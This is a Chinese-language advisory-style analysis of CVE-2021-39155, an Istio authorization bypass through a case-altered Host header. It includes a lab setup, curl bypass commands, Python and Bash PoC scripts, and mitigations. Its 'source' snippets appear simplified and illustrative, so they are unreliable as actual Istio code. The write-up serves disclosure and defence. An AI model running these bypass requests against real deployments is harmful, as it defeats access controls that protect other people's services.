一、漏洞简介

1.1 漏洞背景

Istio 的授权策略(AuthorizationPolicy)允许管理员基于 HTTP 请求的 Host 头来控制访问权限。根据 RFC 4343 规范,HTTP Host 头的比较应该是不区分大小写的,但 Istio 在某些版本中采用了大小写敏感的比较方式。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2021-39155
危害等级 HIGH / 8.3
漏洞类型 主机名大小写敏感导致的授权策略绕过
披露时间 2021-08-24
影响组件 Istio
  • CVE编号: CVE-2021-39155
  • 危害等级: 高危 (High)
  • CVSS评分: 8.3 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L)
  • 漏洞类型: 授权绕过 (Authorization Bypass)
  • CWE分类: CWE-178: Improper Handling of Case Sensitivity, CWE-863: Incorrect Authorization

补充核验信息:公开时间:2021-08-24;NVD 评分:8.3(HIGH);CWE:CWE-178。

二、影响范围

2.1 受影响的版本

  • Istio 1.9.0 - 1.9.7
  • Istio 1.10.0 - 1.10.3
  • Istio 1.11.0

2.2 不受影响的版本

  • Istio 1.9.8 及更高版本
  • Istio 1.10.4 及更高版本
  • Istio 1.11.1 及更高版本

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 使用了 AuthorizationPolicy 并配置了 hosts 或 notHosts 字段
  2. 攻击者能够修改请求的 Host 头为不同大小写形式
  3. 后端服务对大小写不敏感(通常会路由到同一服务)

三、漏洞详情与原理解析

3.1 漏洞触发机制

当管理员配置如下授权策略时:

apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
  name: deny-secret-host
  namespace: production
spec:
  action: DENY
  rules:
  - to:
    - operation:
        hosts: ["secret.example.com"]

攻击者可以通过修改 Host 头的大小写来绕过策略:

GET /sensitive-data HTTP/1.1
Host: Secret.Example.COM   <-- 大小写变化

根据 RFC 4343,域名比较应该不区分大小写,因此 Secret.Example.COM 应该被识别为 secret.example.com,但 Istio 的授权策略会认为这是不同的主机名,从而允许请求通过。

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞存在于 Istiod 的授权策略生成代码中:

// 错误的实现(漏洞代码)
func (g *Generator) generateRBACFilter(policy *AuthorizationPolicy, host string) *rbac.RBACFilter {
    // 问题:直接使用字符串比较,区分大小写
    if request.Host == host {  // 这里使用了 == 运算符进行精确比较
        return match
    }
    return nil
}

正确的实现应该是:

// 正确的实现
import "strings"

func (g *Generator) generateRBACFilter(policy *AuthorizationPolicy, host string) *rbac.RBACFilter {
    // 修复:使用大小写不敏感的比较
    if strings.EqualFold(request.Host, host) {  // EqualFold 进行 Unicode 大小写折叠
        return match
    }
    return nil
}

更详细的修复代码位置在 istio/istio/pilot/pkg/security/authz/builder.go:

// 修复前的代码片段
func (b *Builder) matchHost(requestHost string, policyHost string) bool {
    // BUG: 直接比较,区分大小写
    return requestHost == policyHost
}

// 修复后的代码片段
func (b *Builder) matchHost(requestHost string, policyHost string) bool {
    // FIX: 使用 RFC 4343 推荐的大小写不敏感比较
    // 注意:域名中的 ASCII 字母应该不区分大小写
    return strings.EqualFold(requestHost, policyHost)
}

四、漏洞复现(可选)

4.1 环境搭建

安装受影响的 Istio 版本(1.11.0):

# 下载 Istio 1.11.0
curl -L https://istio.io/downloadIstio | ISTIO_VERSION=1.11.0 sh -
cd istio-1.11.0
export PATH=$PWD/bin:$PATH

# 安装 Istio
istioctl install --set profile=demo -y

部署测试应用:

kubectl create ns test-case-sensitive
kubectl label namespace test-case-sensitive istio-injection=enabled

# 部署 httpbin 服务
cat <<EOF | kubectl apply -n test-case-sensitive -f -
apiVersion: apps/v1
kind: Deployment
metadata:
  name: httpbin
spec:
  replicas: 1
  selector:
    matchLabels:
      app: httpbin
      version: v1
  template:
    metadata:
      labels:
        app: httpbin
        version: v1
    spec:
      containers:
      - image: docker.io/kennethreitz/httpbin
        name: httpbin
        ports:
        - containerPort: 80
---
apiVersion: v1
kind: Service
metadata:
  name: httpbin
spec:
  ports:
  - name: http
    port: 8000
    targetPort: 80
  selector:
    app: httpbin
EOF

# 等待 Pod 就绪
kubectl wait --for=condition=ready pod -l app=httpbin -n test-case-sensitive --timeout=60s

配置 Gateway 和 VirtualService:

cat <<EOF | kubectl apply -n test-case-sensitive -f -
apiVersion: networking.istio.io/v1beta1
kind: Gateway
metadata:
  name: httpbin-gateway
spec:
  selector:
    istio: ingressgateway
  servers:
  - port:
      number: 80
      name: http
      protocol: HTTP
    hosts:
    - "secret.example.com"
    - "public.example.com"
---
apiVersion: networking.istio.io/v1beta1
kind: VirtualService
metadata:
  name: httpbin
spec:
  hosts:
  - "secret.example.com"
  - "public.example.com"
  gateways:
  - httpbin-gateway
  http:
  - route:
    - destination:
        host: httpbin
        port:
          number: 8000
EOF

配置授权策略:

cat <<EOF | kubectl apply -n test-case-sensitive -f -
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
  name: deny-secret-host
spec:
  action: DENY
  rules:
  - to:
    - operation:
        hosts: ["secret.example.com"]
EOF

4.2 PoC 演示与测试过程

步骤 1: 获取 Ingress Gateway 地址

export INGRESS_HOST=$(kubectl -n istio-system get service istio-ingressgateway -o jsonpath='{.status.loadBalancer.ingress[0].ip}')
export INGRESS_PORT=$(kubectl -n istio-system get service istio-ingressgateway -o jsonpath='{.spec.ports[?(@.name=="http2")].port}')
export GATEWAY_URL=$INGRESS_HOST:$INGRESS_PORT

步骤 2: 测试正常保护

# 使用完全匹配的 Host(应该被拒绝)
curl -v -H "Host: secret.example.com" http://$GATEWAY_URL/headers
# 预期结果: 返回 403 Forbidden

# 使用 public.example.com(应该被允许)
curl -v -H "Host: public.example.com" http://$GATEWAY_URL/headers
# 预期结果: 返回 200 OK

步骤 3: 漏洞利用

# 使用大写 Host 头绕过授权策略
curl -v -H "Host: Secret.Example.Com" http://$GATEWAY_URL/headers
# 实际结果: 返回 200 OK (成功绕过!)

# 其他变体
curl -v -H "Host: SECRET.EXAMPLE.COM" http://$GATEWAY_URL/headers
# 实际结果: 返回 200 OK

curl -v -H "Host: SeCrEt.Example.Com" http://$GATEWAY_URL/headers
# 实际结果: 返回 200 OK

完整的自动化 PoC 脚本:

#!/usr/bin/env python3
import requests
import sys
from urllib.parse import urlparse

def test_case_sensitivity_bypass(target_url, original_host, bypass_host):
    """
    测试 CVE-2021-39155 主机名大小写绕过漏洞

    Args:
        target_url: 目标 URL
        original_host: 原始 Host(应该被阻止)
        bypass_host: 变换大小写后的 Host(尝试绕过)
    """

    print(f"[*] 测试 CVE-2021-39155 漏洞")
    print(f"[*] 目标 URL: {target_url}")
    print(f"[*] 原始 Host: {original_host}")
    print(f"[*] 绕过 Host: {bypass_host}\n")

    # 测试原始 Host(应该被拒绝)
    try:
        response1 = requests.get(
            target_url,
            headers={"Host": original_host},
            timeout=5,
            allow_redirects=False
        )
        print(f"[+] 原始 Host 测试:")
        print(f"    Status: {response1.status_code}")
        print(f"    结果: {'PROTECTED' if response1.status_code == 403 else 'VULNERABLE'}")
    except Exception as e:
        print(f"[-] 原始 Host 测试失败: {e}")

    print()

    # 测试变换大小写的 Host(尝试绕过)
    try:
        response2 = requests.get(
            target_url,
            headers={"Host": bypass_host},
            timeout=5,
            allow_redirects=False
        )
        print(f"[+] 大小写变换 Host 测试:")
        print(f"    Status: {response2.status_code}")
        print(f"    结果: {'BYPASS SUCCESSFUL' if response2.status_code == 200 else 'BLOCKED'}")

        if response2.status_code == 200:
            print(f"\n[!] 漏洞确认: 成功绕过授权策略!")
            print(f"[!] 攻击者可以访问应该被禁止的资源")
            return True
        else:
            print(f"\n[+] 系统已修复或不受影响")
            return False

    except Exception as e:
        print(f"[-] 绕过测试失败: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <target_url> <original_host> <bypass_host>")
        print(f"Example: {sys.argv[0]} http://192.168.99.100:80 secret.example.com Secret.Example.Com")
        sys.exit(1)

    target = sys.argv[1]
    original = sys.argv[2]
    bypass = sys.argv[3]

    test_case_sensitivity_bypass(target, original, bypass)

Bash 版本的 PoC:

#!/bin/bash

# CVE-2021-39155 漏洞测试脚本

GATEWAY_URL=${1:-"http://localhost:80"}
TARGET_HOST=${2:-"secret.example.com"}

echo "========================================="
echo "CVE-2021-39155 漏洞测试"
echo "========================================="
echo "目标: $GATEWAY_URL"
echo "原始 Host: $TARGET_HOST"
echo ""

# 测试各种大小写组合
declare -a host_variants=(
    "$TARGET_HOST"
    "$(echo $TARGET_HOST | tr '[:lower:]' '[:upper:]')"
    "$(echo $TARGET_HOST | tr '[:upper:]' '[:lower:]')"
    "$(echo $TARGET_HOST | sed 's/.*/\u&/')"
    "SeCrEt.Example.Com"
    "SECRET.EXAMPLE.COM"
    "secret.example.COM"
)

for host in "${host_variants[@]}"; do
    echo "----------------------------------------"
    echo "测试 Host: $host"

    response=$(curl -s -o /dev/null -w "%{http_code}" -H "Host: $host" "$GATEWAY_URL/headers")

    if [ "$response" == "403" ]; then
        echo "状态码: $response (已阻止)"
    elif [ "$response" == "200" ]; then
        echo "状态码: $response (⚠️  可能绕过!)"
    else
        echo "状态码: $response"
    fi
done

echo ""
echo "========================================="
echo "测试完成"
echo "========================================="

五、修复建议与缓解措施

5.1 官方版本升级建议

立即升级到安全版本:

# 升级到 Istio 1.11.1 或更高版本
istioctl install --set profile=demo --set hub=docker.io/istio --set tag=1.11.1

# 或升级到 1.10.4
istioctl install --set profile=demo --set hub=docker.io/istio --set tag=1.10.4

# 或升级到 1.9.8
istioctl install --set profile=demo --set hub=docker.io/istio --set tag=1.9.8

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案 1: 使用 Lua Filter 进行 Host 头规范化

apiVersion: networking.istio.io/v1alpha3
kind: EnvoyFilter
metadata:
  name: host-normalization
  namespace: istio-system
spec:
  configPatches:
  - applyTo: HTTP_FILTER
    match:
      context: ANY
    patch:
      operation: INSERT_BEFORE
      value:
        name: envoy.lua
        typed_config:
          '@type': type.googleapis.com/envoy.config.filter.http.lua.v2.Lua
          default_source_code:
            inline_string: |
              function envoy_on_request(request_handle)
                local host = request_handle:headers():get(":authority")
                if host then
                  -- 将 Host 头转换为小写
                  local lower_host = string.lower(host)
                  request_handle:headers():replace(":authority", lower_host)
                end
              end

方案 2: 使用 Istio 的 Proxy Metadata(仅适用于某些版本)

apiVersion: install.istio.io/v1alpha1
kind: IstioOperator
spec:
  meshConfig:
    defaultConfig:
      proxyMetadata:
        # 启用 Host 头规范化
        ENABLE_HOST_NORMALIZATION: "true"

方案 3: 在应用层添加额外的 Host 验证

package main

import (
    "net/http"
    "strings"
)

func hostValidationMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        host := r.Host

        // 将 Host 转换为小写进行比较
        lowerHost := strings.ToLower(host)

        // 定义允许的 hosts 列表
        allowedHosts := map[string]bool{
            "public.example.com": true,
            "api.example.com":    true,
        }

        // 定义禁止的 hosts 列表
        deniedHosts := map[string]bool{
            "secret.example.com": true,
        }

        // 检查是否在拒绝列表中
        if deniedHosts[lowerHost] {
            http.Error(w, "Forbidden", http.StatusForbidden)
            return
        }

        // 如果设置了允许列表,检查是否在允许列表中
        if len(allowedHosts) > 0 && !allowedHosts[lowerHost] {
            http.Error(w, "Forbidden", http.StatusForbidden)
            return
        }

        next.ServeHTTP(w, r)
    })
}

func main() {
    mux := http.NewServeMux()
    mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        w.Write([]byte("Hello, World!"))
    })

    // 应用中间件
    handler := hostValidationMiddleware(mux)

    http.ListenAndServe(":8080", handler)
}

六、参考信息 / 参考链接

6.1 官方安全通告

  • Istio Security Bulletin: https://istio.io/latest/news/security/istio-security-2021-008/
  • GitHub Security Advisory: https://github.com/istio/istio/security/advisories/GHSA-7774-7vr3-cc8j
  • CVE-2021-39155 详情: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39155

6.2 其他技术参考资料

  • RFC 4343 - DNS Case Insensitivity: https://datatracker.ietf.org/doc/html/rfc4343
  • Istio Authorization Policy 文档: https://istio.io/latest/docs/reference/config/security/authorization-policy/
  • Istio 安全最佳实践: https://istio.io/latest/docs/ops/best-practices/security/#case-normalization